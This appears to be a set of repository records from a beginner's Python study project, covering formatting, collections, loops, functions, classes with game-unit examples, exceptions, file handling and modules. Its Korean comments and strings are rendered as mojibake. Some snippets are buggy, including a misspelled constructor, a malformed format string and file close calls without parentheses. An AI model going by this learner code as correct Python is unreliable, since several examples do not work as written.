ฅ)\"\"\"\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ5\nprint(\"์ฑ•ํ„ฐ5\")\nprint(\"๋‚˜๋Š” %s์ƒ‰๊ณผ %s์ƒ‰์„ ์ข‹์•„ํ•ด์š”\"%(\"ํŒŒ๋ž€\",\"๋นจ๊ฐ„\"))\n#(ํŒŒ์ด์ฌ ๋ฒ„์ „ 3.6 ์ด์ƒ๋ถ€ํ„ฐ ๊ฐ€๋Šฅ)\nage=20\ncolor=\"๋นจ๊ฐ„\"\nprint(f\"๋‚˜๋Š” {age}์‚ด์ด๋ฉฐ,{color}์ƒ‰์„ ์ข‹์•„ํ•ด์š”\")\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ6\nprint(\"์ฑ•ํ„ฐ6\")\n# \\' \\\" :๋ฌธ์žฅ ๋‚ด ๋”ฐ์˜ดํ‘œ\nprint(\"์ €๋Š” '๋‚˜๋„์ฝ”๋”ฉ'์ž…๋‹ˆ๋‹ค\")\nprint(\"์ €๋Š” \\'๋‚˜๋„์ฝ”๋”ฉ\\' ์ž…๋‹ˆ๋‹ค\")\nprint(\"์ €๋Š” \\\"๋‚˜๋„์ฝ”๋”ฉ\\\" ์ž…๋‹ˆ๋‹ค\")\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ7\nprint(\"์ฑ•ํ„ฐ7\")\nsubway=[\"์œ ์žฌ์„\",\"์กฐ์„ธํ˜ธ\",\"๋ฐ•๋ช…์ˆ˜\"]\n#์ •ํ˜•๋ˆ์”จ๋ฅผ ์œ ์žฌ์„/์กฐ์„ธํ˜ธ ์‚ฌ์ด ํƒœ์›€\nsubway.insert(1,\"์ •ํ˜•๋ˆ\")#์ˆซ์ž ๋„ฃ๋Š”๊ฑฐ ๊ธฐ์–ต!\nprint(subway)\n\n#๋‹ค์–‘ํ•œ ์ž๋ฃŒํ˜• ํ•จ๊ป˜ ์‚ฌ์šฉ ๊ฐ€๋Šฅ\nnum_list=[5,2,4,3,1]\nmix_list=[\"์กฐ์„ธํ˜ธ\",20,True]\nprint(mix_list)\n#๋ฆฌ์ŠคํŠธ ํ™•์žฅ\nnum_list.extend(mix_list)\nprint(num_list)\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ8\nprint(\"์ฑ•ํ„ฐ8\")\ncabinet={3:\"์œ ์žฌ์„\",100:\"๊น€ํƒœํ˜ธ\"}\nprint(cabinet[3])\nprint(cabinet[100])\nprint(cabinet.get(3))\n\n\"\"\"\nprint(cabinet[5])\n:์ด ๊ตฌ๋ฌธ์€ ์˜ค๋ฅ˜๋ฅผ \n๋ฐœ์ƒ์‹œํ‚ด!ํ‚ค๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ\n\"\"\"\nprint(cabinet.get(5))\n#NONE์„ ์ถœ๋ ฅ! ์˜ค๋ฅ˜๋Š” ์•ˆ๋œธ\nprint(cabinet.get(5,\"์‚ฌ์šฉ๊ฐ€๋Šฅ\"))\n#ํ‚ค๋Š” ์ •์ˆ˜ํ˜• ๋ฟ ์•„๋‹ˆ๋ผ ๋ฌธ์ž์—ด๋„ ์‚ฌ์šฉ๊ฐ€๋Šฅ\ncabinet={\"A-3\":\"์œ ์žฌ์„\",\"B-100\":\"๊น€ํƒœํ˜ธ\"}\ncabinet[\"A-3\"]=\"๊น€์ข…๊ตญ\"#๋ฎ์–ด์“ฐ๊ธฐ ๊ฐ€๋Šฅ\ncabinet[\"C-20\"]=\"์กฐ์„ธํ˜ธ\"#๋‚ด์šฉ ์ถ”๊ฐ€ ๊ฐ€๋Šฅ\n(name,age,hobby)=(\"๊น€์ข…๊ตญ\",20,\"์ฝ”๋”ฉ\")\nprint(name,age,hobby)\n\n#์ง‘ํ•ฉ(set)\n#์ค‘๋ณต์•ˆ๋จ,์ˆœ์„œ์—†์Œ\n\nmy_set={1,2,3,3,3}\nprint(my_set)\njava={\"์œ ์žฌ์„\",\"๊น€ํƒœํ˜ธ\",\"์–‘์„ธํ˜•\"}\n#์œ„ ์•„๋ž˜ ๋ชจ๋‘ ๊ฐ€๋Šฅ\npython=set([\"์œ ์žฌ์„\",\"๋ฐ•๋ช…์ˆ˜\"])\n\n#๊ต์ง‘ํ•ฉ(์ž๋ฐ” ํŒŒ์ด์ฌ ๋ชจ๋‘ ์‚ฌ์šฉ๊ฐ€๋Šฅ)\nprint(java&python)\nprint(java.intersection(python))\n\n#ํ•ฉ์ง‘ํ•ฉ(์ž๋ฐ” ๋˜๋Š” ํŒŒ์ด์ฌ ๊ฐ€๋Šฅ)\nprint(java|python)\nprint(java.union(python))\n\n#์ฐจ์ง‘ํ•ฉ(์ž๋ฐ”๊ฐ€๋Šฅ ํŒŒ์ด์ฌ ๋ถˆ๊ฐ€๋Šฅ)\nprint(java-python)\nprint(java.difference(python))\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ9\nprint(\"์ฑ•ํ„ฐ9\")\nmenu={\"์ปคํ”ผ\",\"์šฐ์œ \",\"์ฃผ์Šค\"}\nprint(menu,type(menu))\nmenu=list(menu)\nprint(menu,type(menu))\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ10\nprint(\"์ฑ•ํ„ฐ10\")\nfor waiting_no in range(1,6):#1,2,3,4,5(๋งˆ์ง€๋ง‰ ๋ฒˆํ˜ธ ํฌํ•จ ์•ˆํ•จ!)\n print(\"๋Œ€๊ธฐ๋ฒˆํ˜ธ:{0}\".format(waiting_no))\nstarbucks=[\"์•„์ด์–ธ๋งจ\",\"ํ† ๋ฅด\",\"๊ทธ๋ฃจํŠธ\"]\nfor customer in starbucks:\n print(\"{0},์ปคํ”ผ๋‚˜์™”๋‹น\".format(customer))\nprint(\"\\n\\n\")\n\n" }, { "alpha_fraction": 0.5994151830673218, "alphanum_fraction": 0.6351526975631714, "avg_line_length": 17.303571701049805, "blob_id": "1408ea55b9161b1981b55081e80d41fe362bcaf1", "content_id": "bc33366ac663aff2fb53111ad765995b04e37a0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3926, "license_type": "no_license", "max_line_length": 58, "num_lines": 168, "path": "/PY_STUDY/PY_STUDY_03.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#์ฑ•ํ„ฐ 21\n\nprint(\"์ฑ•ํ„ฐ 21\")\n#์—ฌ๋Ÿฌ์ค„ ์ฃผ์„=์ปจํŠธ๋กค ์Šฌ๋ž˜์‹œ\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 22\nprint(\"์ฑ•ํ„ฐ 22\")\nprint(\"\\n\\n\")\n#๋กœ๋ด‡ ๋งŒ๋“ค๋•Œ ์“ฐ์ž„์ฒ˜:drive ๋ชจ๋“ˆ ๋งŒ๋“ค๋•Œ ๊ธฐ์–ต!\n\n#์ฑ•ํ„ฐ 23\nprint(\"์ฑ•ํ„ฐ 23\")\n#์ผ๋ฐ˜ ์œ ๋‹›(๋ถ€๋ชจํด๋ž˜์Šค)\nclass Unit:#์ƒ์„ฑ์ž\n def __init__(self,name,hp):\n self.name=name#self๊ฐ€ ์—†๋Š” name์€ ์ธ์ž๋กœ ์ „๋‹ฌ๋ฐ›์€ ๋ณ€์ˆ˜!\n self.hp=hp\n print(\"{0}์œ ๋‹›์ด ์ƒ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค\".format(self.name))\n print(\"์ฒด๋ ฅ{0}\".format(self.hp))\n\n#ํด๋ž˜์Šค ๋‚ด์˜ ํ•จ์ˆ˜=๋ฉ”์„œ๋“œ\n#์ƒ์† \n#๊ณต๊ฒฉ ์œ ๋‹›(์ž์‹ํด๋ž˜์Šค)\nclass AttackUnit(Unit):\n def __init__(self,name,hp,damage):\n Unit.__init__(self,name,hp)\n self.damage=damage\n \n#๋ฉ”์†Œ๋“œ ์ƒ์„ฑ\n def attack(self,location):#๋ฉ”์†Œ๋“œ ์•ž์—๋Š” ๋ฌด์กฐ๊ฑด self ์ ๊ธฐ!\n print(\"{0}:{1}๋ฐฉํ–ฅ์œผ๋กœ ์ ๊ตฐ์„ ๊ณต๊ฒฉํ•ฉ๋‹ˆ๋‹ค.[๊ณต๊ฒฉ๋ ฅ{2}]\"\\\n .format(self.name,location,self.damage))\n\n def damaged(self,damage):\n print(\"{0}:{1}๋ฐ๋ฏธ์ง€๋ฅผ ์ž…์—ˆ์Šต๋‹ˆ๋‹ค.\".format(self.name,damage))\n self.hp-=damage\n print(\"{0}:ํ˜„์žฌ ์ฒด๋ ฅ์€ {1} ์ž…๋‹ˆ๋‹ค.\".format(self.name,self.hp))\n if self.hp<=0:\n print(\"{0}:ํŒŒ๊ดด๋˜์—ˆ์Šต๋‹ˆ๋‹ค.\".format(self.name))\n\n\nmedic1=Unit(\"๋ฉ”๋”•\",40)\n# marine3=Unit(\"๋งˆ๋ฆฐ\")\n#์ด๋ ‡๊ฒŒ ํ•„์š”ํ•œ ์ธ์ž ๋น ์ง€๋ฉด ๊ฐ์ฒด ์ƒ์„ฑ ๋ถˆ๊ฐ€!\nwraith1=AttackUnit(\"๋ ˆ์ด์Šค\",80,5)\nprint(\"์œ ๋‹›์ด๋ฆ„:{0},์ฒด๋ ฅ{1}\".format(medic1.name,medic1.hp))\nwraith1.damaged(25)\nprint(\"์œ ๋‹›์ด๋ฆ„:{0},์ฒด๋ ฅ:{1}\".format(wraith1.name,wraith1.hp))\nwraith1.damaged(25)\n\nprint(\"\\n\\n\")\n\n\n\n#์ฑ•ํ„ฐ 24\n\nprint(\"์ฑ•ํ„ฐ 24\")\n#๋‹ค์ค‘์ƒ์†\n#๋‚  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ํด๋ž˜์Šค\nclass Flyable:\n def __init__(self,flying_speed):\n self.flying_speed=flying_speed\n\n def fly(self,name,location):\n print(\"{0}:{1} ๋ฐฉํ–ฅ์œผ๋กœ ๋‚ ์•„๊ฐ‘๋‹ˆ๋‹ค.[์†๋„{2}]\"\\\n .format(name,location,self.flying_speed))\n\n\n#๊ณต์ค‘ ๊ณต๊ฒฉ ์œ ๋‹› ํด๋ž˜์Šค(๋‹ค์ค‘์ƒ์†)๋ถ€๋ชจ๊ฐ€ ์—ฌ๋Ÿฌ ๋ช…\nclass FlyableAttackUnit(AttackUnit,Flyable):\n def __init__(self,name,hp,damage,flying_speed):\n AttackUnit.__init__(self,name,hp,damage)\n Flyable.__init__(self,flying_speed) \n\nwraith2=FlyableAttackUnit(\"๋นผ์•—์€ ๋ ˆ์ด์Šค\",80,6,5)\nvalkyrie=FlyableAttackUnit(\"๋ฐœํ‚ค๋ฆฌ\",200,6,5)\nvalkyrie.fly(valkyrie.name,\"3์‹œ\")\nprint(\"\\n\\n\")\n\n\n\n#์ฑ•ํ„ฐ 25\n\nprint(\"์ฑ•ํ„ฐ 25\")\n#๊ฑด๋ฌผ(pass,super)\n#๋‹ค์ค‘์ƒ์†๋•Œ๋Š” ์‚ฌ์šฉ ๊ธˆ์ง€!๋งˆ์ง€๋ง‰์— ์žˆ๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•ด์„œ๋งŒ initํ•จ์ˆ˜ ํ˜ธ์ถœ ํ•˜๋ฏ€๋กœ!\nclass BuildingUnit(Unit):\n def __init__(self,name,hp,location):\n #Unit.__init__(self,name,hp,0)\n super().__init__(name,hp)#super ์“ธ๋•Œ๋Š” self์ƒ๋žต!\n self.location=location\n\n#์„œํ”Œ๋ผ์ด ๋””ํฟ:๊ฑด๋ฌผ, 1๊ฐœ๊ฑด๋ฌผ=8 ์œ ๋‹›\nsupply_depot=BuildingUnit(\"์„œํ”Œ๋ผ์ด ๋””ํฟ\",500,\"7์‹œ\")\n\n# super ์˜ˆ์‹œ\n\nclass t_Unit:\n def ___init__(self):\n print(\"Unit ์ƒ์„ฑ์ž\")\n \nclass t_Flyable:\n def __init__(self):\n print(\"Flyable ์ƒ์„ฑ์ž\")\n\nclass t_FlyableUnit(t_Unit,t_Flyable):\n def __init__(self):\n super().__init__()\n\n# ๋“œ๋ž์‰ฝ\ndropship=t_FlyableUnit()\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 26\n\nprint(\"์ฑ•ํ„ฐ 26\")\nprint(\"\\n\\n\")\n\n\n\n#์ฑ•ํ„ฐ 27\n\nprint(\"์ฑ•ํ„ฐ 27\")\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 28\n\nprint(\"์ฑ•ํ„ฐ 28\")\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 29\n\nprint(\"์ฑ•ํ„ฐ 29\")\ntry:\n \n print(\"ํ•œ์ž๋ฆฌ ์ „์šฉ ๋‚˜๋ˆ„๊ธฐ ์ „์šฉ ๊ณ„์‚ฐ๊ธฐ์ž…๋‹ˆ๋‹ค\")\n nums=[]\n nums.append(int(input(\"์ฒซ๋ฒˆ์งธ ์ˆซ์ž๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”:\")))\n nums.append(int(input(\"๋‘๋ฒˆ์งธ ์ˆซ์ž๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”:\")))\n #nums.append(int(nums[0]/nums[1]))\n nums.append(int(nums[0]/nums[1]))\n print(\"{0}/{1}={2}\".format(nums[0],nums[1],nums[2]))\n if nums[0]>=10 and nums[1]>=10:\n raise ValueError\n\n\nexcept ValueError:\n print(\"์—๋Ÿฌ!์ž˜๋ชป๋œ ๊ฐ’์„ ์ž…๋ ฅํ•˜์˜€์Šต๋‹ˆ๋‹ค!\")\nexcept ZeroDivisionError as err:\n print(err)\n# except:\n# print(\"์•Œ์ˆ˜ ์—†๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์˜€์Šต๋‹ˆ๋‹ค\")\n# ๋‚˜๋จธ์ง€ ๋ชจ๋“  ์—๋Ÿฌ์— ๋Œ€ํ•ด์„ ๋Š” ์š”๊ฑธ๋กœ ์ฒ˜๋ฆฌ ๊ฐ€๋Šฅ!\nexcept Exception as err:\n print(err)\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 30\n\nprint(\"์ฑ•ํ„ฐ 30\")\nprint(\"\\n\\n\")\n\n\n\n" }, { "alpha_fraction": 0.6060000061988831, "alphanum_fraction": 0.6140000224113464, "avg_line_length": 21.772727966308594, "blob_id": "7c09ef1e1f2cd26f8c2487dc0c545f15d3c9724d", "content_id": "7bd8e37c6b0709aefe625bb107d3a103e999bae1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 674, "license_type": "no_license", "max_line_length": 51, "num_lines": 22, "path": "/PY_STUDY/PY_STUDY_05.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#๊ธฐ์–ต ํฌ์ธํŠธ\n#c์–ธ์–ด์—์„  &&์ด์ง€๋งŒ ํŒŒ์ด์ฌ์—์„  &\n'''\n*์žˆ๋Š” ๋ฌธ์žฅ ์ฃผ์„์ฒ˜๋ฆฌํ•  ๋•Œ\n์ปจํŠธ๋กค+์Šฌ๋ž˜์‹œ(๋ฌผ์Œํ‘œ)\n'''\n#๋ถ€๋ชจ ํด๋ž˜์Šค \nclass drive_time:\n def __init__(self,angle,speed,time):\n self.angle=angle\n self.speed=speed\n self.time=time\n#ํด๋ž˜์Šค ๋‚ด์˜ ํ•จ์ˆ˜=๋ฉ”์„œ๋“œ\n#์ƒ์† \nclass drive_time_A(drive_time):\n def __init__(self,angle,speed,time):\n drive_time.__init__(self,angle,speed,time)\n \n#๋ฉ”์†Œ๋“œ ์ƒ์„ฑ\n def attack(self):#๋ฉ”์†Œ๋“œ ์•ž์—๋Š” ๋ฌด์กฐ๊ฑด self ์ ๊ธฐ!\n print(\"์กฐํ–ฅ๊ฐ:{0}์†๋„:{12์‹œ๊ฐ„:{2}\"\\#\\์ด๊ฑฐ ์“ฐ๋ฉด ๋‹ค์Œ์ค„๋กœ ์ด์–ด์ง \n .format(self.angle,self.speed,self.damage))" }, { "alpha_fraction": 0.6113074421882629, "alphanum_fraction": 0.6784452199935913, "avg_line_length": 24.81818199157715, "blob_id": "613b487c92c2dc4d3441ce3f5669af7eabe00604", "content_id": "4bfc3dd7210d941d219488e6fc0864f59b3c51d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "no_license", "max_line_length": 62, "num_lines": 11, "path": "/PY_STUDY/theater_module.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#์ผ๋ฐ˜๊ฐ€๊ฒฉ\ndef price(people):\n print(\"{0}๋ช… ๊ฐ€๊ฒฉ์€ {1}์› ์ž…๋‹ˆ๋‹ค.\".format(people,people*10000))\n\n#์กฐ์กฐํ• ์ธ ๊ฐ€๊ฒฉ\ndef price_morning(people):\n print(\"{0}๋ช… ์กฐ์กฐ ํ• ์ธ ๊ฐ€๊ฒฉ์€ {1}์› ์ž…๋‹ˆ๋‹ค.\".format(people,people*6000))\n\n#๊ตฐ์ธ ํ• ์ธ ๊ฐ€๊ฒฉ\ndef price_soldier(people):\n print(\"{0}๋ช… ๊ตฐ์ธ ํ• ์ธ ๊ฐ€๊ฒฉ์€ {1}์› ์ž…๋‹ˆ๋‹ค.\".format(people,people*4000))" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 30, "blob_id": "0c26bc478f25ba09e1ad1f7f5cb41c1943eb9020", "content_id": "a9992bd859f78233b2b1aef315c90462dde4f3aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 30, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/PY_STUDY/travel/__init__.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "__all__=[\"thailand\",\"vietnam\"]" }, { "alpha_fraction": 0.6423357725143433, "alphanum_fraction": 0.6569343209266663, "avg_line_length": 21.91666603088379, "blob_id": "77ff0214941b0c64b0cae97f87a836307f465528", "content_id": "fc99c791dfbf440cdfa8e1cae2d523ecdd39334f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 394, "license_type": "no_license", "max_line_length": 49, "num_lines": 12, "path": "/PY_STUDY/travel/thailand.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "class ThailandPackage:\n def detail(self):\n print(\"[ํƒœ๊ตญ ํŒจํ‚ค์ง€ 3๋ฐ• 5์ผ]๋ฐฉ์ฝ•,ํŒŒํƒ€์•ผ ์—ฌํ–‰(์•ผ์‹œ์žฅ ํˆฌ์–ด) 50๋งŒ์›\")\n\n#๋ชจ๋“ˆ ์ง์ ‘์‹คํ–‰\nif __name__==\"__main__\":\n print(\"Thailand ๋ชจ๋“ˆ์„ ์ง์ ‘ ์‹คํ–‰\")\n print(\"์ด ๋ฌธ์žฅ์€ ๋ชจ๋“ˆ์„ ์ง์ ‘ ์‹คํ–‰ํ• ๋•Œ๋งŒ ์‹คํ–‰๋ผ์š”\")\n trip_to=ThailandPackage()\n trip_to.detail\nelse:\n print(\"Thailand ์™ธ๋ถ€์—์„œ ๋ชจ๋“ˆ ํ˜ธ์ถœ\")" }, { "alpha_fraction": 0.6222537159919739, "alphanum_fraction": 0.6654854416847229, "avg_line_length": 19.439613342285156, "blob_id": "83315ce97b9ec962f47320cdd8d81e78ee0d4e70", "content_id": "1cd9d2d4f40f629ba7f544335855dd4cd44a7819", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5557, "license_type": "no_license", "max_line_length": 84, "num_lines": 207, "path": "/PY_STUDY/PY_STUDY_02.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#์ฑ•ํ„ฐ11\n\nprint(\"์ฑ•ํ„ฐ11\")\nabsent=[2,5]#๊ฒฐ์„\nno_book=[7]#์ฑ… ์•ˆ๊ฐ€์ง€๊ณ  ์˜ด\nfor student in range(1,11):\n if student in absent:\n continue#continue๋Š” ๋‹ค์‹œ for๋ฌธ์˜ ์ฒ˜์Œ์œผ๋กœ ๋Œ์•„๊ฐ€๊ฒŒ ํ•จ!(๋ฐ”๋กœ ๋‹ค์Œ ๋ฐ˜๋ณต์„ ์‹คํ–‰)\n print(\"{0},์ฑ…์„ ์ฝ์–ด๋ด\".format(student))\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•๋„ˆ12\n\nprint(\"์ฑ•ํ„ฐ12\")\n#ํ•œ์ค„ for(ํ•™์ƒ๋“ค ์ด๋ฆ„์„ ๊ธธ์ด๋กœ ๋ณ€ํ™˜)\nstudents=[\"iron man\",'thor','groot']\nstudents=[len(i) for i in students]\nprint(students)\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ13\n \nprint(\"์ฑ•ํ„ฐ13\")\ndef withdraw_night(balance,money):\n commission=100#์ˆ˜์ˆ˜๋ฃŒ 100์›\n return commission,balance-money-commission#ํ•œ๋ฒˆ์— ๋‘๊ฐœ์˜ ๊ฐ’์„ ๋ฆฌํ„ด ๋ถˆ๊ฐ€๋Šฅ!(ํŠœํ”Œ์˜ ํ˜•ํƒœ๋กœ ๋ฐ˜ํ™˜๋จ)\n\nbalance=1000#์ž”์•ก\ncommission,balance=withdraw_night(balance,400)\nprint(\"์ˆ˜์ˆ˜๋ฃŒ๋Š” {0}์›์ด๋ฉฐ, ์ž”์•ก์€ {1}์›์ž…๋‹ˆ๋‹ค\".format(commission,balance))\n\n#๋˜๋‹ค๋ฅธ ๋ฐฉ๋ฒ•(ํŠœํ”Œ ํ˜•ํƒœ๋กœ ๋Œ๋ ค๋ฐ›๊ธฐ)\n# commission=withdraw_night(balance,400)\n# print(commission)\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ14\n\nprint(\"์ฑ•ํ„ฐ14\")\n#๊ธฐ๋ณธ๊ฐ’ ์ง€์ • ๊ฐ€๋Šฅ\ndef profile(name,age=17,main_lang=\"ํŒŒ์ด์ฌ\"):\n print(\"์ด๋ฆ„:{0}\\t๋‚˜์ด:{1}\\t์ฃผ์‚ฌ์šฉ์–ธ์–ด:{2}\".format(name,age,\\\n main_lang)) #์—ญ์Šฌ๋ž˜์‹œ ๊ธ‹๊ณ  ์—”ํ„ฐ์น˜๋ฉด ํ•œ์ค„์ทจ๊ธ‰!์ค‘์š”\nprofile(\"์œ ์žฌ์„\")\nprofile(\"๊น€ํƒœํ˜ธ\")\n\n#ํ‚ค์›Œ๋“œ๊ฐ’\n\ndef profile(name,age,main_lang):\n print(name,age,main_lang)\n\nprofile(name=\"์œ ์žฌ์„\",main_lang=\"python\",age=20) #์ˆœ์„œ ์ƒ๊ด€ ์—†์Œ!\n\n#๊ฐ€๋ณ€์ธ์ž(์ „๋‹ฌ๋ฐ›์•„์•ผ ํ•˜๋Š” ๊ฐ’์ด ๋ช‡๊ฐœ์ธ์ง€ ๋ชจ๋ฅผ ๋•Œ ์ฃผ๋กœ ์‚ฌ์šฉ!)\ndef profile(name,age,*language):\n print(\"์ด๋ฆ„:{0}\\t๋‚˜์ด:{1}\\t\".format(name,age),end=\" \") #end=\" \"์š”๋ ‡๊ฒŒ ์“ฐ๋ฉด ์ค„๋ฐ”๊ฟˆ ์•ˆํ•˜๊ณ  ๋ฐ”๋กœ ์ถœ๋ ฅ๋จ!\n for lang in language:\n print(lang,end=\" \")\n print()\nprofile(\"์œ ์žฌ์„\",20,\"python\",\"java\",\"C\",\"C++\",\"C#\") \nprofile(\"๊น€ํƒœํ˜ธ\",25,\"kotlin\",\"swift\")\n\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ15\n\nprint(\"์ฑ•ํ„ฐ15\")\ngun=10\ndef checkpoint(soldiers):\n global gun#์ „์—ญ ๊ณต๊ฐ„์— ์žˆ๋Š” gun ์‚ฌ์šฉ\n gun=gun-soldiers\n print(\"[ํ•จ์ˆ˜ ๋‚ด]๋‚จ์€ ์ด:{0}\".format(gun))\n\nprint(\"์ „์ฒด์ด:{0}\".format(gun))\ncheckpoint(2)\nprint(\"๋‚จ์€ ์ด:{0}\".format(gun))\n#๋˜๋Š” ํ•จ์ˆ˜์™€ ์ž…๋ ฅ๊ฐ’์„ ์ด์šฉํ•˜์—ฌ ์ „์—ญ๋ณ€์ˆ˜ ์ด์šฉ ๊ฐ€๋Šฅ\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 16\n\nprint(\"์ฑ•ํ„ฐ16\")\nheight=175.53535\nweight=round(height/100,3)\n#์š” ํ…Œํฌ๋‹‰ ๊ธฐ์–ต! ์†Œ์ˆ˜ ์…‹์งธ ์ž๋ฆฌ๊นŒ์ง€ ๋ฐ˜์˜ฌ๋ฆผ ํ• ๋•Œ ์‚ฌ์šฉ \nprint(\"ํ‚ค{0}cm์—ฌ์ž์˜ ํ‘œ์ค€ ์ฒด์ค‘์€ {1}kg์ž…๋‹ˆ๋‹ค.\".format(height,weight))\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 17\n#ํ‘œ์ค€์ž…์ถœ๋ ฅ\n#sep:์ค‘๊ฐ„์— ์‚ฝ์ž…\n#end:๋งˆ์ง€๋ง‰์— ์‚ฝ์ž…ํ•˜๊ณ  ๋‹ค์Œ ๋ฌธ์žฅ ์ด์–ด์„œ ์ถœ๋ ฅ\nprint(\"์ฑ•ํ„ฐ17\")\nprint(\"python\",\"java\",sep=',',end='?')\nimport sys\nprint(\"python\",\"java\",file=sys.stdout)#ํ‘œ์ค€ ์ถœ๋ ฅ\nprint(\"python\",\"java\",file=sys.stderr)#ํ‘œ์ค€ ์—๋Ÿฌ\n\nscores={\"์ˆ˜ํ•™\":0,\"์˜์–ด\":50,\"์ฝ”๋”ฉ\":100}\nfor subject,score in scores.items():\n print(subject.ljust(8),str(score).rjust(4),sep=':') \n\nfor num in range(1,11):\n print(\"๋Œ€๊ธฐ๋ฒˆํ˜ธ:\"+str(num).zfill(3))\n\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 18\n#๋นˆ์ž๋ฆฌ๋Š” ๋นˆ ๊ณต๊ฐ„์œผ๋กœ ๋‘๊ณ ,์˜ค๋ฅธ์ชฝ ์ •๋ ฌ์„ ํ•˜๋˜, ์ด 10์ž๋ฆฌ ๊ณต๊ฐ„์„ ํ™•๋ณด\nprint(\"์ฑ•ํ„ฐ18\")\nprint(\"{0: >10}\".format(500))\nprint(\"{0: >10}\".format(-500))\n#์–‘์ˆ˜์ผ ๋• +ํ‘œ์‹œ,์Œ์ˆ˜์ผ ๋• -๋กœ ํ‘œ์‹œ\nprint(\"{0: >+10}\".format(500))#+ํ‘œ์‹œ๋„ ๋‚˜์˜ด!\nprint(\"{0: >+10}\".format(-500))\n#์™ผ์ชฝ ์ •๋ ฌ์„ ํ•˜๊ณ  ๋นˆ์นธ์œผ๋กœ _๋กœ ์ฑ„์›€\nprint(\"{0:_<10}\".format(500))\n\n#3์ž๋ฆฌ๋งˆ๋‹ค ์ฝค๋งˆ๋ฅผ ์ฐ์–ด์ฃผ๊ธฐ,+ - ๋ถ€ํ˜ธ๋„ ๋ถ™์—ฌ์ฃผ๊ธฐ,์ž๋ฆฟ์ˆ˜ ํ™•๋ณดํ•˜๊ธฐ\n#๋ˆ์ด ๋งŽ์œผ๋ฉด ํ–‰๋ณตํ•˜๋‹ˆ ๋นˆ์ž๋ฆฌ๋Š” ^๋กœ ์ฑ„์›Œ์ฃผ๊ธฐ\nprint(\"{0:^<+30,}\".format(1000000000000))\n\n#์†Œ์ˆ˜์  ์ถœ๋ ฅ\nprint(\"{0:f}\".format(5/3))\n#์†Œ์ˆ˜์ ์„ ํŠน์ • ์ž๋ฆฌ์ˆ˜ ๊นŒ์ง€๋งŒ ํ‘œ์‹œ\n#์†Œ์ˆ˜์  3์งธ์ž๋ฆฌ์—์„œ ๋ฐ˜์˜ฌ๋ฆผ\nprint(\"{0:.2f}\".format(5/3))\n\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 19\n\nprint(\"์ฑ•ํ„ฐ19\")\nscore_file=open(\"score.txt\",'w',encoding='utf8')\nprint(\"์ˆ˜ํ•™:0\",file=score_file)\nprint(\"์˜์–ด:50\",file=score_file)\nscore_file.close()\n#์“ฐ๊ธฐ๋ชจ๋“œ(์“ธ๋•Œ๋งˆ๋‹ค ์ดˆ๊ธฐํ™”)\n\nscore_file=open(\"score.txt\",\"a\",encoding='utf8')\nscore_file.write(\"๊ณผํ•™:80\")\nscore_file.write(\"\\n์ฝ”๋”ฉ:50\")\nscore_file.close()\n#์ค„๋ฐ”๊ฟˆ์„ ๋ช…์‹œ์ ์œผ๋กœ ์ •์˜ํ•ด์ค˜์•ผ ๋จ!\n#์ถ”๊ฐ€๋ชจ๋“œ\n\nscore_file=open(\"score.txt\",\"r\",encoding='utf8')\nprint(score_file.readline(),end=\"\")#์ค„๋ณ„๋กœ ์ฝ๊ธฐ, ํ•œ์ค„ ์ฝ๊ณ  ์ปค์„œ๋Š” ๋‹ค์Œ์ค„๋กœ ์ด๋™\nscore_file.close\n\n\n#ํ•œ๋ฒˆ์— ๋ชจ๋“  ๋‚ด์šฉ์„ ๋‹ค ๊ฐ€์ ธ์˜ค๊ณ  ์‹ถ๋‹ค๋ฉด!\nscore_file=open(\"score.txt\",\"r\",encoding='utf8')\nprint(score_file.read())\nscore_file.close\n\n#ํŒŒ์ผ์ด ์ด ๋ช‡์ค„์ธ์ง€ 